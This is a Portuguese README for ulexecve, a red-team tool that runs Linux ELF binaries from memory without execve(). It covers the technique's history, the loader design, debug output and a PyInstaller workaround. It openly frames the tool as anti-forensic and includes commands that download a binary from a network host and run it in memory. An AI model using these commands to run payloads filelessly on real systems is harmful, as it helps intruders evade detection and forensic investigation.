
Executa binários ELF arbitrários diretamente da memória no Linux sem tocar no disco, permitindo operações furtivas de red-teaming e antiforenses através de um único script Python.
Execute binários ELF Linux compilados dinamicamente ou estaticamente sem nunca chamar execve().
cat /bin/echo | ulexecve - hello
hello
Esta ferramenta Python chama-se ulexecve e significa userland execve. Ela ajuda você a executar binários ELF arbitrários em sistemas Linux a partir do espaço do usuário sem nunca chamar a system call execve(). Em outras palavras: você pode executar binários arbitrários diretamente da memória sem nunca precisar gravá-los em armazenamento. Isso é muito útil de uma perspectiva anti-forense ou de red team e permite que você se mova de forma mais furtiva enquanto ainda deixa binários compilados nas máquinas alvo. A ferramenta funciona em CPython 3.x e CPython 2.7 (e possivelmente versões anteriores) nas plataformas Linux suportadas (x86, x86-64 e aarch64). Ambos binários ELF estáticos e dinamicamente compilados são suportados. Claro que sempre haverá um pequeno subconjunto de binários que podem não funcionar ou resultar em uma falha e para estes, um método de fallback 100% confiável é implementado sobre a chamada de sistema moderna memfd_create().
As ferramentas Linux de execve em espaço de usuário têm uma história que remonta a cerca de duas décadas. Os primeiros artigos sólidos sobre isso foram feitos por the grugq em The Design and Implementation of Userland Exec [1] e também outro artigo no Phrack 62 [2]. Técnicas anti-forenses para executar binários diretamente da memória são bastante padrão. O mettle da Rapid7, por exemplo, tem uma biblioteca chamada libreflect que inclui um utilitário noexec que também tenta executar um ELF apenas por reflexão. No entanto, esta ferramenta é escrita em C e tem o requisito implícito de que você precisa transferir o binário noexec para o sistema alvo, além de ser capaz de executar este binário.
Em ambientes de contêiner modernos, isso definitivamente nem sempre é mais possível. No entanto, muitos ambientes de contêiner contêm uma instalação Python. Ter a capacidade de simplesmente baixar um script Python via curl ou algo assim em uma máquina alvo e, em seguida, executar este script para depois executar furtivamente binários arbitrários é muito útil de uma perspectiva anti-forense.
Essa é também a razão pela qual a ferramenta é toda implementada em apenas um arquivo. Isso deve facilitar o download em sistemas alvo e não se preocupar em instalar outras dependências antes de executá-la. A ferramenta é testada com Python 2.7, embora esta versão do Python esteja obsoleta. Ainda existem muitos sistemas com versões 2.x, então isso é útil.
Não existiam outras boas implementações de um execve() em Python no espaço do usuário. Existe SELF [3] que não era extensivamente documentado, carecia de opções fáceis de depuração, mas, mais importante, não funcionava. A implementação do ulexecve foi escrita do zero. Ela analisa o arquivo ELF, carrega e analisa também o linker dinâmico (se necessário), mapeia todos os segmentos na memória e, por fim, constrói um buffer de salto contendo instruções da CPU para transferir o controle do processo Python diretamente para o binário recém-carregado.
Toda a lógica comum de análise de ELF, configuração da pilha, mapeamento dos segmentos ELF e configuração dos buffers de salto é abstraída, tornando relativamente fácil (na ordem de algumas horas) portar para outra CPU. Portar para outras plataformas baseadas em ELF, como os BSDs, pode ser um pouco mais complexo, mas ainda deve ser bastante direto. Para mais informações sobre como fazer isso, basta verificar os comentários no código.
Observe que é um objetivo explícito de design não ter dependências externas e ter tudo implementado em um único arquivo de código-fonte. Se você precisar criar payloads menores, deve ser bastante trivial remover o suporte para certos tipos de CPU ou extrair todas as informações de depuração e outras opções.
Embora isso faça pouco sentido de uma perspectiva anti-forense, a ferramenta é instalável via pip.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
A ferramenta suporta completamente executáveis estáticos e compilados dinamicamente. Basta passar o nome do arquivo do binário para ulexecve e quaisquer argumentos que você queira fornecer ao binário. O ambiente será copiado diretamente do ambiente no qual você executa ulexecve.
ulexecve /bin/ls -lha
Você pode fazê-lo ler um binário de stdin se especificar - como nome do arquivo.
cat /bin/ls | ulexecve - -lha
Para baixar um binário na memória e executá-lo imediatamente, você pode usar --download. Isso interpretará o argumento do nome do arquivo como uma URI.
ulexecve --download http://host/binary
Para depuração, várias opções estão disponíveis. Se você obtiver uma falha, pode exibir informações de depuração via --debug, a pilha construída via --show-stack, bem como o buffer de salto gerado --show-jumpbuf. A opção --jump-delay é muito útil se você quiser analisar e mapear um ELF corretamente e, em seguida, anexar um depurador para percorrer o buffer de salto e o binário executado final para encontrar a causa da falha.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
Sempre há a opção --fallback. Ela não é tão furtiva quanto analisar e mapear os binários no espaço do usuário nós mesmos. O método de fallback usa memfd_create() e fexecve(), mas deve funcionar 100% do tempo para executar binários estáticos ou dinâmicos arbitrários. Desde que os binários fornecidos sejam os binários certos para a plataforma em que você está, obviamente.
Obviamente, você sempre pode acabar com binários que não serão executados corretamente. No entanto, esta implementação é bastante limpa e bem testada (inclui testes unitários para binários estáticos e dinâmicos, executáveis compilados com PIE e executáveis com diferentes runtimes, como Rust ou Go). Para a maioria das ferramentas e binários nas plataformas mencionadas, deve funcionar. Mas pode variar. Binários produzidos por empacotadores de instalação que incorporam outras informações dentro dos ELFs podem não funcionar corretamente dependendo dos truques de auto-referência que usam. Para binários PyInstaller, no entanto, um fallback específico foi adicionado ao ulexecve.
Binários criados com PyInstaller não funcionarão diretamente. Esses binários exigem um arquivo de pacote acompanhante ou, na maioria dos casos, incorporam dentro do ELF os dados extras necessários para descompactar e executar corretamente após iniciar o interpretador Python embutido. Isso significa que eles não podem ser feitos para funcionar corretamente. Existem algumas maneiras de contornar isso. Uma maneira simples, que pode funcionar em um subconjunto de casos do mundo real, assume que existe um sistema de arquivos temporário gravável. Então substituímos a string /proc/self/exe no binário por /tmp/xxxx. Depois disso, carregamos o binário na memória via memfd_create() e então apontamos o link simbólico em /tmp/xxxx para /proc/<pid>/fd/<fd> para o arquivo em memória. Para tentar esta opção, use --pyi-fallback. Se você precisar especificar um outro diretório temporário específico, use --tmpdir. Observe que o caminho resultante, incluindo o tmpdir, deve ter exatamente a mesma quantidade de bytes que a string /proc/self/exe (14 bytes), então caminhos mais longos não funcionarão.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
Ao portar para uma plataforma diferente, certifique-se de que a pequena quantidade de testes unitários funcione. Basta executar o ./test.py incluído na plataforma alvo e corrigir tudo até que todos esses testes sejam aprovados novamente.
Envie um pull request via github, poste um problema no rastreador de problemas ou simplesmente envie um e-mail para [email protected].
"The Design and Implementation of Userland Exec", por the grugq.
"FIST! FIST! FIST! Its all in the wrist: Remote Exec", por grugq, Phrack 62-0x08, 2004-07-13.
Implementation of SELF in Python, por Maciej Kotowicz (mak).